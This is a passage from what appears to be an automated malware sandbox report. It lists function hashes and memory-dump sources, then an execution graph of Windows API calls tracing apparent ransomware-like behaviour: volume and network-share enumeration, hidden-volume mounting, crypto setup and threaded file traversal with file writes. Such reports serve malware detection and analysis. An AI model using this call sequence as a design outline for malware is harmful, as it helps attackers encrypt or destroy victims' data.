                                                          • Opcode ID: d806c47bd21625c36c3facb89cb6ff08f4989b49d0191cdf9033faa09a07bf43
                                                          • Instruction ID: d7e15b3f3f4c461f6b88eae8550e4732cfd5c2943ba9b71bac95b57f023aa31f
                                                          • Opcode Fuzzy Hash: d806c47bd21625c36c3facb89cb6ff08f4989b49d0191cdf9033faa09a07bf43
                                                          • Instruction Fuzzy Hash: 3FD0C9367201649F83449A6EE848C56BBEDDBCDA7131581AAF209C7321CAB1DC0187A0
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081E6940 Relevance: .0, Instructions: 14COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499183997.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81e0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 56725e6d3d0bac876702e9bff7a6a21fe6d3829475cec0fd8a2b68cfbd77dac8
                                                          • Instruction ID: bf41068c623ea3ed4b032d54c7c6f8c050602a728b4aa2e47e131f5bd6de8044
                                                          • Opcode Fuzzy Hash: 56725e6d3d0bac876702e9bff7a6a21fe6d3829475cec0fd8a2b68cfbd77dac8
                                                          • Instruction Fuzzy Hash: 6ED0123720820C9F8B80EEE4E840C52BBECAF24700B408032F508CF520E772F568EBA1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081E2000 Relevance: .0, Instructions: 11COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499183997.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81e0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2e8041b50cad0c01b7ef34fdadb39a507e4e7e10cf8304e0c0309ea41877295c
                                                          • Instruction ID: 2bb841d896cb33f98584ade61b43deaab515a4ef7b0f33024ac2ecb56d35c895
                                                          • Opcode Fuzzy Hash: 2e8041b50cad0c01b7ef34fdadb39a507e4e7e10cf8304e0c0309ea41877295c
                                                          • Instruction Fuzzy Hash: FAD0122A00E2C46FE7039F74C8618807FB0FE073187498AC6C0C08F1B3CB129628EB1A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Non-executed Functions

                                                          Function 081B2588 Relevance: .3, Instructions: 321COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.498626787.00000000081B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081B0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81b0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 5c44bd21b80c5927dd4885f06b15ea6319f9822770c4268323faa4d2df732c23
                                                          • Instruction ID: e95a958bb6f62422ee773daaa49aaa53d3fbdaabb638d2b983e728e65e062497
                                                          • Opcode Fuzzy Hash: 5c44bd21b80c5927dd4885f06b15ea6319f9822770c4268323faa4d2df732c23
                                                          • Instruction Fuzzy Hash: BAA15D74B0011AAFDB58A67C882476F7AE7AFC9744F24C42DD04AD73C4CE35AD4687A2
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 05172918 Relevance: .3, Instructions: 298COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.489656062.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_5170000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: aed1ebc47366c0d7e56c8079ac371dc2351701da21ba2483a122b8ff166974c9
                                                          • Instruction ID: 7f8b313255df5961cce3a8f296994bc351d234a7e045b9e56e4e3912fb2ea8d3
                                                          • Opcode Fuzzy Hash: aed1ebc47366c0d7e56c8079ac371dc2351701da21ba2483a122b8ff166974c9
                                                          • Instruction Fuzzy Hash: 32D1B778A006098FDB14DF69C598AA9B7F2BF4C301F6584A8E41AEB371DB31AD41CF50
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081E3098 Relevance: .3, Instructions: 273COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499183997.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81e0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a2d4d1cff1f3a46cad01ac79091940bb92fe54986571ebc0fa81427b82c95279
                                                          • Instruction ID: dac6272a3d28078690e5e6bedf9e57ecb1ef60cec12e2ce19974e7e6a7935b15
                                                          • Opcode Fuzzy Hash: a2d4d1cff1f3a46cad01ac79091940bb92fe54986571ebc0fa81427b82c95279
                                                          • Instruction Fuzzy Hash: 12D1C531C2075ACACB11EBA9D9946ADB7B2FFA5300F50C79AD40937251EB706AC4CF91
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081E30A8 Relevance: .3, Instructions: 264COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499183997.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81e0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 4556fb4b9f12e1e3a20a9c0497e02a396e39772278cb19a95a89d372ac7772ef
                                                          • Instruction ID: 3d624f9094302728745a17f5927cff1d2ffe7d39455ae1e32befec6fb8f23ba1
                                                          • Opcode Fuzzy Hash: 4556fb4b9f12e1e3a20a9c0497e02a396e39772278cb19a95a89d372ac7772ef
                                                          • Instruction Fuzzy Hash: AAD1B331C2075ACADB11EBA9D9946ADB7B2FFA5300F50C79AD40937211EB706AC4CF91
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Execution Graph

                                                          Execution Coverage:21.2%
                                                          Dynamic/Decrypted Code Coverage:0%
                                                          Signature Coverage:10.2%
                                                          Total number of Nodes:1841
                                                          Total number of Limit Nodes:24
                                                          execution_graph 7850 408540 7851 40855e 7850->7851 7862 408500 7851->7862 7863 408512 7862->7863 7864 40851f 7862->7864 7865 40798d _ValidateLocalCookies 5 API calls 7863->7865 7865->7864 6730 407b82 6731 407b8e ___scrt_is_nonwritable_in_current_image 6730->6731 6758 407d7e 6731->6758 6733 407b95 6734 407ce8 6733->6734 6745 407bbf ___scrt_is_nonwritable_in_current_image __fassign ___scrt_release_startup_lock 6733->6745 6862 408073 IsProcessorFeaturePresent 6734->6862 6736 407cef 6737 407cf5 6736->6737 6866 40a087 6736->6866 6869 40a04b 6737->6869 6741 407bde 6742 407c5f 6769 40818e 6742->6769 6745->6741 6745->6742 6844 40a061 6745->6844 6753 407c85 6754 407c8e 6753->6754 6853 40a03c 6753->6853 6856 407eef 6754->6856 6759 407d87 6758->6759 6872 408315 IsProcessorFeaturePresent 6759->6872 6763 407d98 6764 407d9c 6763->6764 6882 40a68d 6763->6882 6764->6733 6767 407db3 6767->6733 7007 4087f0 6769->7007 6772 407c65 6773 409ce2 6772->6773 7009 40c100 6773->7009 6775 407c6d 6778 406b30 6775->6778 6776 409ceb 6776->6775 7015 40c426 6776->7015 7356 402c90 6778->7356 6780 406c70 GetDriveTypeW 6781 406b52 __fassign 6780->6781 6781->6780 6782 406c8e 6781->6782 7362 40944b 6782->7362 6785 406d32 6786 406d50 GetTickCount Sleep 6785->6786 6786->6786 6788 406d72 wsprintfA CryptAcquireContextA 6786->6788 6787 40944b 15 API calls 6789 406caf 6787->6789 6790 406dd9 CryptGenRandom 6788->6790 6791 406dea 6788->6791 6792 406cba FindFirstVolumeW 6789->6792 6793 406d29 6789->6793 6790->6791 7369 406450 6791->7369 6796 406cc8 6792->6796 6794 409430 ___vcrt_freefls@4 14 API calls 6793->6794 6794->6785 6798 406d19 FindVolumeClose 6796->6798 6799 406ccc GetVolumePathNamesForVolumeNameW 6796->6799 7377 409430 6798->7377 6802 406ce6 lstrlenW 6799->6802 6803 406cf9 SetVolumeMountPointWStub 6799->6803 6801 406450 5 API calls 6804 406e33 CreateSemaphoreW CreateSemaphoreW InitializeCriticalSection CreateThread 6801->6804 6802->6803 6805 406d08 FindNextVolumeW 6802->6805 6803->6805 6806 406ec0 6804->6806 6807 406eb2 SetThreadPriority 6804->6807 7445 407540 WNetOpenEnumW 6804->7445 6805->6796 6805->6798 6808 406ec5 CreateThread SetThreadPriority 6806->6808 6807->6806 6808->6808 6809 406ee4 GetLogicalDrives 6808->6809 7436 407880 WaitForSingleObject EnterCriticalSection LeaveCriticalSection ReleaseSemaphore 6808->7436 6810 406f12 __fassign 6809->6810 6811 406f1f WaitForMultipleObjects 6810->6811 6812 407020 6810->6812 6821 406f5a wsprintfW GetDriveTypeW 6810->6821 6826 406fd3 CreateThread 6810->6826 6828 40944b 15 API calls 6810->6828 6835 406fac WNetGetConnectionW 6810->6835 6813 406f30 CloseHandle 6811->6813 6814 407024 WaitForMultipleObjects 6812->6814 6818 407041 6812->6818 6813->6813 6815 406f3c 6813->6815 6816 407036 CloseHandle 6814->6816 6814->6818 6815->6810 6816->6816 6816->6818 6817 407060 DeleteCriticalSection CloseHandle CloseHandle 6819 407084 CryptReleaseContext 6817->6819 6820 40708d CoCreateInstance 6817->6820 6818->6817 6822 407050 Sleep 6818->6822 6819->6820 6823 4070b0 GetModuleHandleA GetProcAddress 6820->6823 6838 4072da 6820->6838 6821->6810 6822->6817 6822->6822 6824 4070db GetCurrentProcess 6823->6824 6825 4070e9 6823->6825 6824->6825 6830 4070f4 VariantInit 6825->6830 6831 40712e CoCreateInstance 6825->6831 6826->6810 6829 406fe8 SetThreadPriority 6826->6829 7417 407320 6826->7417 6827 40798d _ValidateLocalCookies 5 API calls 6832 40730b 6827->6832 6828->6810 6829->6810 6834 407127 VariantClear 6830->6834 6833 40714e 6831->6833 6831->6838 6851 4081c4 GetModuleHandleW 6832->6851 6837 40718c CoSetProxyBlanket 6833->6837 6833->6838 6834->6831 6836 409430 ___vcrt_freefls@4 14 API calls 6835->6836 6836->6810 6837->6838 6842 4071a9 6837->6842 6838->6827 6839 407236 lstrlenW GetProcessHeap HeapAlloc lstrlenW wnsprintfW 6841 407297 VariantClear 6839->6841 6839->6842 6840 4072a8 VariantClear 6840->6842 6841->6842 6842->6838 6842->6839 6842->6840 6843 40728b GetProcessHeap HeapFree 6842->6843 6843->6841 6845 40a077 __dosmaperr 6844->6845 6846 40a72e ___scrt_is_nonwritable_in_current_image 6844->6846 6845->6742 6847 40af04 __fassign 37 API calls 6846->6847 6850 40a73f 6847->6850 6848 40a7c4 __fassign 37 API calls 6849 40a769 6848->6849 6850->6848 6852 407c81 6851->6852 6852->6736 6852->6753 7549 409ee2 6853->7549 6857 407efb 6856->6857 6858 407c96 6857->6858 7619 40a69f 6857->7619 6858->6741 6860 407f09 6861 4086bd ___scrt_uninitialize_crt 7 API calls 6860->6861 6861->6858 6863 408089 __fassign 6862->6863 6864 408134 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 6863->6864 6865 40817f __fassign 6864->6865 6865->6736 6867 409ee2 __fassign 23 API calls 6866->6867 6868 40a098 6867->6868 6868->6737 6870 409ee2 __fassign 23 API calls 6869->6870 6871 407cfd 6870->6871 6873 407d93 6872->6873 6874 40869e 6873->6874 6891 408bf1 6874->6891 6877 4086a7 6877->6763 6879 4086af 6880 4086ba 6879->6880 6905 408c2d 6879->6905 6880->6763 6945 40d7ad 6882->6945 6885 4086bd 6886 4086d0 6885->6886 6887 4086c6 6885->6887 6886->6764 6888 408bd6 ___vcrt_uninitialize_ptd 6 API calls 6887->6888 6889 4086cb 6888->6889 6890 408c2d ___vcrt_uninitialize_locks DeleteCriticalSection 6889->6890 6890->6886 6894 408bfa 6891->6894 6893 408c23 6896 408c2d ___vcrt_uninitialize_locks DeleteCriticalSection 6893->6896 6894->6893 6895 4086a3 6894->6895 6909 408e5d 6894->6909 6895->6877 6897 408ba3 6895->6897 6896->6895 6926 408d6e 6897->6926 6902 408bd3 6902->6879 6904 408bb8 6904->6879 6906 408c57 6905->6906 6907 408c38 6905->6907 6906->6877 6908 408c42 DeleteCriticalSection 6907->6908 6908->6906 6908->6908 6914 408c83 6909->6914 6912 408e95 InitializeCriticalSectionAndSpinCount 6913 408e80 6912->6913 6913->6894 6915 408ca0 6914->6915 6916 408ca4 6914->6916 6915->6912 6915->6913 6916->6915 6917 408d0c GetProcAddress 6916->6917 6919 408cfd 6916->6919 6921 408d23 LoadLibraryExW 6916->6921 6917->6915 6919->6917 6920 408d05 FreeLibrary 6919->6920 6920->6917 6922 408d3a GetLastError 6921->6922 6923 408d6a 6921->6923 6922->6923 6924 408d45 ___vcrt_FlsGetValue 6922->6924 6923->6916 6924->6923 6925 408d5b LoadLibraryExW 6924->6925 6925->6916 6927 408c83 ___vcrt_FlsGetValue 5 API calls 6926->6927 6928 408d88 6927->6928 6929 408da1 TlsAlloc 6928->6929 6930 408bad 6928->6930 6930->6904 6931 408e1f 6930->6931 6932 408c83 ___vcrt_FlsGetValue 5 API calls 6931->6932 6933 408e39 6932->6933 6934 408e54 TlsSetValue 6933->6934 6935 408bc6 6933->6935 6934->6935 6935->6902 6936 408bd6 6935->6936 6937 408be0 6936->6937 6938 408be6 6936->6938 6940 408da9 6937->6940 6938->6904 6941 408c83 ___vcrt_FlsGetValue 5 API calls 6940->6941 6942 408dc3 6941->6942 6943 408ddb TlsFree 6942->6943 6944 408dcf 6942->6944 6943->6944 6944->6938 6946 40d7bd 6945->6946 6947 407da5 6945->6947 6946->6947 6949 40cb05 6946->6949 6947->6767 6947->6885 6950 40cb11 ___scrt_is_nonwritable_in_current_image 6949->6950 6961 40c67c EnterCriticalSection 6950->6961 6952 40cb18 6962 40c7bc 6952->6962 6955 40cb36 6986 40cb5c 6955->6986 6961->6952 6963 40c7c8 ___scrt_is_nonwritable_in_current_image 6962->6963 6964 40c7d1 6963->6964 6965 40c7f2 6963->6965 6966 40abb3 _free 14 API calls 6964->6966 6989 40c67c EnterCriticalSection 6965->6989 6968 40c7d6 6966->6968 6969 40aaf6 __fassign 25 API calls 6968->6969 6970 40c7e0 6969->6970 6970->6955 6975 40c99b GetStartupInfoW 6970->6975 6971 40c82a 6997 40c851 6971->6997 6973 40c7fe 6973->6971 6990 40c70c 6973->6990 6976 40c9b8 6975->6976 6977 40ca4c 6975->6977 6976->6977 6978 40c7bc 26 API calls 6976->6978 6981 40ca51 6977->6981 6979 40c9e0 6978->6979 6979->6977 6980 40ca10 GetFileType 6979->6980 6980->6979 6984 40ca58 6981->6984 6982 40ca9b GetStdHandle 6982->6984 6983 40cb01 6983->6955 6984->6982 6984->6983 6985 40caae GetFileType 6984->6985 6985->6984 7006 40c6c4 LeaveCriticalSection 6986->7006 6988 40cb47 6988->6946 6989->6973 6991 40b1b0 __dosmaperr 14 API calls 6990->6991 6992 40c71e 6991->6992 6996 40c72b 6992->6996 7000 40d5eb 6992->7000 6993 40a8c2 _free 14 API calls 6995 40c780 6993->6995 6995->6973 6996->6993 7005 40c6c4 LeaveCriticalSection 6997->7005 6999 40c858 6999->6970 7001 40d40a __dosmaperr 5 API calls 7000->7001 7002 40d607 7001->7002 7003 40d625 InitializeCriticalSectionAndSpinCount 7002->7003 7004 40d610 7002->7004 7003->7004 7004->6992 7005->6999 7006->6988 7008 4081a1 GetStartupInfoW 7007->7008 7008->6772 7010 40c13b 7009->7010 7011 40c109 7009->7011 7010->6776 7018 40afc1 7011->7018 7353 40c3cf 7015->7353 7019 40afd2 7018->7019 7020 40afcc 7018->7020 7022 40d5a9 __dosmaperr 6 API calls 7019->7022 7042 40afd8 7019->7042 7021 40d56a __dosmaperr 6 API calls 7020->7021 7021->7019 7023 40afec 7022->7023 7024 40b1b0 __dosmaperr 14 API calls 7023->7024 7023->7042 7027 40affc 7024->7027 7028 40b004 7027->7028 7029 40b019 7027->7029 7032 40d5a9 __dosmaperr 6 API calls 7028->7032 7031 40d5a9 __dosmaperr 6 API calls 7029->7031 7030 40b051 7043 40bf47 7030->7043 7033 40b025 7031->7033 7039 40b010 7032->7039 7034 40b038 7033->7034 7035 40b029 7033->7035 7037 40ad32 __dosmaperr 14 API calls 7034->7037 7036 40d5a9 __dosmaperr 6 API calls 7035->7036 7036->7039 7040 40b043 7037->7040 7038 40a8c2 _free 14 API calls 7038->7042 7039->7038 7041 40a8c2 _free 14 API calls 7040->7041 7041->7042 7042->7030 7062 40a7c4 7042->7062 7151 40c060 7043->7151 7048 40bf73 7048->7010 7051 40bfb6 7054 40a8c2 _free 14 API calls 7051->7054 7056 40bfc4 7054->7056 7055 40bfb1 7057 40abb3 _free 14 API calls 7055->7057 7056->7010 7057->7051 7058 40bff8 7058->7051 7187 40bbe2 7058->7187 7059 40bfcc 7059->7058 7060 40a8c2 _free 14 API calls 7059->7060 7060->7058 7073 40d9ac 7062->7073 7065 40a7d4 7067 40a7fd 7065->7067 7068 40a7de IsProcessorFeaturePresent 7065->7068 7070 40a04b __fassign 23 API calls 7067->7070 7069 40a7ea 7068->7069 7071 40a94a __fassign 8 API calls 7069->7071 7072 40a807 7070->7072 7071->7067 7103 40d8de 7073->7103 7076 40d9fa 7077 40da06 ___scrt_is_nonwritable_in_current_image 7076->7077 7078 40b05b __dosmaperr 14 API calls 7077->7078 7082 40da33 __fassign 7077->7082 7084 40da2d __fassign 7077->7084 7078->7084 7079 40da78 7081 40abb3 _free 14 API calls 7079->7081 7080 40da62 7080->7065 7083 40da7d 7081->7083 7087 40daa4 7082->7087 7114 40c67c EnterCriticalSection 7082->7114 7085 40aaf6 __fassign 25 API calls 7083->7085 7084->7079 7084->7080 7084->7082 7085->7080 7089 40dbe1 7087->7089 7090 40daec 7087->7090 7098 40db17 7087->7098 7091 40dbec 7089->7091 7149 40c6c4 LeaveCriticalSection 7089->7149 7090->7098 7115 40d9f1 7090->7115 7094 40a04b __fassign 23 API calls 7091->7094 7095 40dbf4 7094->7095 7118 40db8d 7098->7118 7100 40d9f1 __fassign 37 API calls 7100->7098 7101 40db6b 7101->7080 7102 40af04 __fassign 37 API calls 7101->7102 7102->7080 7104 40d8ea ___scrt_is_nonwritable_in_current_image 7103->7104 7109 40c67c EnterCriticalSection 7104->7109 7106 40d8f8 7110 40d936 7106->7110 7109->7106 7113 40c6c4 LeaveCriticalSection 7110->7113 7112 40a7c9 7112->7065 7112->7076 7113->7112 7114->7087 7116 40af04 __fassign 37 API calls 7115->7116 7117 40d9f6 7116->7117 7117->7100 7119 40db93 7118->7119 7120 40db5c 7118->7120 7150 40c6c4 LeaveCriticalSection 7119->7150 7120->7080 7120->7101 7122 40af04 GetLastError 7120->7122 7123 40af21 7122->7123 7124 40af1b 7122->7124 7125 40d5a9 __dosmaperr 6 API calls 7123->7125 7147 40af27 SetLastError 7123->7147 7126 40d56a __dosmaperr 6 API calls 7124->7126 7127 40af3f 7125->7127 7126->7123 7128 40b1b0 __dosmaperr 14 API calls 7127->7128 7127->7147 7130 40af4f 7128->7130 7131 40af57 7130->7131 7132 40af6e 7130->7132 7135 40d5a9 __dosmaperr 6 API calls 7131->7135 7137 40d5a9 __dosmaperr 6 API calls 7132->7137 7133 40afb5 7133->7101 7134 40afbb 7136 40a7c4 __fassign 35 API calls 7134->7136 7139 40af65 7135->7139 7140 40afc0 7136->7140 7138 40af7a 7137->7138 7141 40af7e 7138->7141 7142 40af8f 7138->7142 7145 40a8c2 _free 14 API calls 7139->7145 7143 40d5a9 __dosmaperr 6 API calls 7141->7143 7144 40ad32 __dosmaperr 14 API calls 7142->7144 7143->7139 7146 40af9a 7144->7146 7145->7147 7148 40a8c2 _free 14 API calls 7146->7148 7147->7133 7147->7134 7148->7147 7149->7091 7150->7120 7152 40c06c ___scrt_is_nonwritable_in_current_image 7151->7152 7153 40c086 7152->7153 7195 40c67c EnterCriticalSection 7152->7195 7156 40bf5a 7153->7156 7158 40a7c4 __fassign 37 API calls 7153->7158 7155 40c096 7160 40a8c2 _free 14 API calls 7155->7160 7161 40c0c2 7155->7161 7162 40bcf0 7156->7162 7159 40c0ff 7158->7159 7160->7161 7196 40c0df 7161->7196 7200 409456 7162->7200 7165 40bd11 GetOEMCP 7167 40bd3a 7165->7167 7166 40bd23 7166->7167 7168 40bd28 GetACP 7166->7168 7167->7048 7169 40a8fc 7167->7169 7168->7167 7170 40a93a 7169->7170 7174 40a90a __dosmaperr 7169->7174 7171 40abb3 _free 14 API calls 7170->7171 7173 40a938 7171->7173 7172 40a925 RtlAllocateHeap 7172->7173 7172->7174 7173->7051 7176 40c15b 7173->7176 7174->7170 7174->7172 7175 40d855 __dosmaperr 2 API calls 7174->7175 7175->7174 7177 40bcf0 39 API calls 7176->7177 7178 40c17b 7177->7178 7180 40c1b5 IsValidCodePage 7178->7180 7185 40c1f1 __fassign 7178->7185 7179 40798d _ValidateLocalCookies 5 API calls 7181 40bfa9 7179->7181 7182 40c1c7 7180->7182 7180->7185 7181->7055 7181->7059 7183 40c1f6 GetCPInfo 7182->7183 7186 40c1d0 __fassign 7182->7186 7183->7185 7183->7186 7185->7179 7243 40bdc6 7186->7243 7188 40bbee ___scrt_is_nonwritable_in_current_image 7187->7188 7327 40c67c EnterCriticalSection 7188->7327 7190 40bbf8 7328 40bc2f 7190->7328 7195->7155 7199 40c6c4 LeaveCriticalSection 7196->7199 7198 40c0e6 7198->7153 7199->7198 7201 409476 7200->7201 7202 40946d 7200->7202 7201->7202 7203 40af04 __fassign 37 API calls 7201->7203 7202->7165 7202->7166 7204 409496 7203->7204 7208 40b156 7204->7208 7209 40b169 7208->7209 7211 4094ac 7208->7211 7209->7211 7216 40d224 7209->7216 7212 40b183 7211->7212 7213 40b196 7212->7213 7214 40b1ab 7212->7214 7213->7214 7238 40c148 7213->7238 7214->7202 7217 40d230 ___scrt_is_nonwritable_in_current_image 7216->7217 7218 40af04 __fassign 37 API calls 7217->7218 7219 40d239 7218->7219 7226 40d27f 7219->7226 7229 40c67c EnterCriticalSection 7219->7229 7221 40d257 7230 40d2a5 7221->7230 7226->7211 7227 40a7c4 __fassign 37 API calls 7228 40d2a4 7227->7228 7229->7221 7231 40d2b3 __dosmaperr 7230->7231 7233 40d268 7230->7233 7232 40cfd8 __dosmaperr 14 API calls 7231->7232 7231->7233 7232->7233 7234 40d284 7233->7234 7237 40c6c4 LeaveCriticalSection 7234->7237 7236 40d27b 7236->7226 7236->7227 7237->7236 7239 40af04 __fassign 37 API calls 7238->7239 7240 40c152 7239->7240 7241 40c060 __fassign 37 API calls 7240->7241 7242 40c158 7241->7242 7242->7214 7244 40bdee GetCPInfo 7243->7244 7253 40beb7 7243->7253 7250 40be06 7244->7250 7244->7253 7245 40798d _ValidateLocalCookies 5 API calls 7246 40bf45 7245->7246 7246->7185 7254 40ce38 7250->7254 7252 40edae 41 API calls 7252->7253 7253->7245 7255 409456 __fassign 37 API calls 7254->7255 7256 40ce58 7255->7256 7274 40c457 7256->7274 7258 40cf16 7260 40798d _ValidateLocalCookies 5 API calls 7258->7260 7259 40ce85 7259->7258 7261 40ceab __fassign 7259->7261 7262 40a8fc 15 API calls 7259->7262 7263 40be6e 7260->7263 7264 40cf10 7261->7264 7266 40c457 __fassign MultiByteToWideChar 7261->7266 7262->7261 7269 40edae 7263->7269 7277 40cf3b 7264->7277 7267 40cef9 7266->7267 7267->7264 7268 40cf00 GetStringTypeW 7267->7268 7268->7264 7270 409456 __fassign 37 API calls 7269->7270 7271 40edc1 7270->7271 7281 40ebc4 7271->7281 7275 40c468 MultiByteToWideChar 7274->7275 7275->7259 7278 40cf47 7277->7278 7279 40cf58 7277->7279 7278->7279 7280 40a8c2 _free 14 API calls 7278->7280 7279->7258 7280->7279 7282 40ebdf 7281->7282 7283 40c457 __fassign MultiByteToWideChar 7282->7283 7286 40ec23 7283->7286 7284 40798d _ValidateLocalCookies 5 API calls 7287 40be8f 7284->7287 7285 40ec48 7289 40c457 __fassign MultiByteToWideChar 7285->7289 7303 40eced 7285->7303 7286->7285 7288 40a8fc 15 API calls 7286->7288 7292 40ed88 7286->7292 7287->7252 7288->7285 7290 40ec8e 7289->7290 7290->7303 7309 40d636 7290->7309 7291 40cf3b __freea 14 API calls 7291->7292 7292->7284 7295 40ecc4 7299 40d636 6 API calls 7295->7299 7295->7303 7296 40ecfc 7297 40a8fc 15 API calls 7296->7297 7301 40ed0e 7296->7301 7297->7301 7298 40ed79 7300 40cf3b __freea 14 API calls 7298->7300 7299->7303 7300->7303 7301->7298 7302 40d636 6 API calls 7301->7302 7304 40ed56 7302->7304 7303->7291 7304->7298 7315 40c4d3 7304->7315 7306 40ed70 7306->7298 7307 40eda5 7306->7307 7308 40cf3b __freea 14 API calls 7307->7308 7308->7303 7318 40d30f 7309->7318 7312 40d647 7312->7295 7312->7296 7312->7303 7314 40d687 LCMapStringW 7314->7312 7317 40c4ec WideCharToMultiByte 7315->7317 7317->7306 7319 40d40a __dosmaperr 5 API calls 7318->7319 7320 40d325 7319->7320 7320->7312 7321 40d693 7320->7321 7324 40d329 7321->7324 7323 40d69e 7323->7314 7325 40d40a __dosmaperr 5 API calls 7324->7325 7326 40d33f 7325->7326 7326->7323 7327->7190 7338 40c34e 7328->7338 7330 40bc51 7331 40c34e 25 API calls 7330->7331 7332 40bc70 7331->7332 7333 40a8c2 _free 14 API calls 7332->7333 7334 40bc05 7332->7334 7333->7334 7335 40bc23 7334->7335 7352 40c6c4 LeaveCriticalSection 7335->7352 7337 40bc11 7337->7051 7339 40c35f 7338->7339 7343 40c35b ___scrt_uninitialize_crt 7338->7343 7340 40c366 7339->7340 7345 40c379 __fassign 7339->7345 7341 40abb3 _free 14 API calls 7340->7341 7342 40c36b 7341->7342 7344 40aaf6 __fassign 25 API calls 7342->7344 7343->7330 7344->7343 7345->7343 7346 40c3b0 7345->7346 7347 40c3a7 7345->7347 7346->7343 7350 40abb3 _free 14 API calls 7346->7350 7348 40abb3 _free 14 API calls 7347->7348 7349 40c3ac 7348->7349 7351 40aaf6 __fassign 25 API calls 7349->7351 7350->7349 7351->7343 7352->7337 7354 409456 __fassign 37 API calls 7353->7354 7355 40c3e3 7354->7355 7355->6776 7360 402ccd 7356->7360 7357 40798d _ValidateLocalCookies 5 API calls 7358 402fe3 7357->7358 7358->6781 7359 402e75 7359->7357 7360->7359 7380 409512 7360->7380 7367 40a8fc __dosmaperr 7362->7367 7363 40a93a 7364 40abb3 _free 14 API calls 7363->7364 7366 406c98 7364->7366 7365 40a925 RtlAllocateHeap 7365->7366 7365->7367 7366->6785 7366->6787 7367->7363 7367->7365 7368 40d855 __dosmaperr 2 API calls 7367->7368 7368->7367 7370 40649c 7369->7370 7403 404cb0 7370->7403 7374 4064c9 7375 40798d _ValidateLocalCookies 5 API calls 7374->7375 7376 40654e 7375->7376 7376->6801 7378 40a8c2 _free 14 API calls 7377->7378 7379 409448 7378->7379 7379->6793 7381 409520 7380->7381 7382 409549 7380->7382 7385 40abb3 _free 14 API calls 7381->7385 7389 4094d9 7381->7389 7390 40955b 7382->7390 7386 40952b 7385->7386 7387 40aaf6 __fassign 25 API calls 7386->7387 7388 409536 7387->7388 7388->7359 7389->7359 7391 409582 7390->7391 7392 40956b 7390->7392 7393 4095a1 7391->7393 7394 40958a 7391->7394 7395 40abb3 _free 14 API calls 7392->7395 7398 409456 __fassign 37 API calls 7393->7398 7397 40abb3 _free 14 API calls 7394->7397 7396 409570 7395->7396 7399 40aaf6 __fassign 25 API calls 7396->7399 7400 40958f 7397->7400 7402 409556 7398->7402 7399->7402 7401 40aaf6 __fassign 25 API calls 7400->7401 7401->7402 7402->7359 7405 404cee __fassign 7403->7405 7406 404fb1 7405->7406 7413 4042c0 7405->7413 7407 40798d _ValidateLocalCookies 5 API calls 7406->7407 7408 40501c 7407->7408 7409 405020 7408->7409 7410 405044 7409->7410 7411 40798d _ValidateLocalCookies 5 API calls 7410->7411 7412 40643d 7411->7412 7412->7374 7414 404345 __fassign 7413->7414 7415 40798d _ValidateLocalCookies 5 API calls 7414->7415 7416 404b58 7415->7416 7416->7405 7418 40734b 7417->7418 7419 40751f 7418->7419 7420 407358 lstrcpyW lstrcatW FindFirstFileW 7418->7420 7422 40798d _ValidateLocalCookies 5 API calls 7419->7422 7421 407519 7420->7421 7434 407389 7420->7434 7423 409430 ___vcrt_freefls@4 14 API calls 7421->7423 7424 40752f 7422->7424 7423->7419 7425 407392 lstrcmpiW 7425->7434 7426 407495 FindNextFileW 7428 4074b0 FindClose wsprintfW CreateFileW 7426->7428 7426->7434 7427 4073b1 wsprintfW 7429 4073e5 StrStrIW 7427->7429 7427->7434 7428->7421 7431 4074f1 lstrlenA WriteFile FindCloseChangeNotification 7428->7431 7429->7426 7430 4073ff lstrcmpW 7429->7430 7430->7426 7433 407419 lstrlenW 7430->7433 7431->7421 7432 407320 19 API calls 7432->7434 7433->7434 7434->7425 7434->7426 7434->7427 7434->7432 7435 407432 lstrcpyW WaitForSingleObject EnterCriticalSection LeaveCriticalSection ReleaseSemaphore 7434->7435 7435->7434 7443 407985 7436->7443 7444 4078de 7436->7444 